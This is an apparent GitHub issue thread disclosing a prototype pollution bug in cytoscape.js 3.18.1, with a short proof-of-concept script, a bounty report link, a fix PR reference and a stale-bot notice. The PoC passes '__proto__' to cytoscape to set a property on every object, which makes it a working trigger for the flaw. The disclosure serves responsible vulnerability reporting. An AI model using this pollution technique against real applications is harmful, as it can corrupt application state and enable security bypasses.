Prototype Pollution in cytoscape.js

[zpbrent]

Environment info

• Cytoscape.js version : 3.18.1
• Browser/Node.js & version : Node.js v14.16.0

Current (buggy) behaviour

var cytoscape=require('cytoscape');
cytoscape('__proto__','polluted','HACKED');
console.log('After: ' + {}.polluted); //After: HACKED

Desired behaviour

var cytoscape=require('cytoscape');
cytoscape('__proto__','polluted','HACKED');
console.log('After: ' + {}.polluted); //After: undefined

Minimum steps to reproduce

// PoC.js
var cytoscape=require('cytoscape');
console.log('Before: ' + {}.polluted);//Before: undefined
cytoscape('__proto__','polluted','HACKED');
console.log('After: ' + {}.polluted); //After: HACKED

I have reported this vul through huntr.dev at https://www.huntr.dev/bounties/1-npm-cytoscape/
As well as proposed a possible fix with a PR at 418sec#1

If you are fine with that fix, please comment @huntr-helper - LGTM at 418sec#1, or if you need any modifications, please also comment on that PR. Thanks.

Ref: 418sec#1

[maxkfranz]

See 418sec#1 (comment)

[stale]

This issue has been automatically marked as stale, because it has not had activity within the past 14 days. It will be closed if no further activity occurs within the next 7 days. If a feature request is important to you, please consider making a pull request. Thank you for your contributions.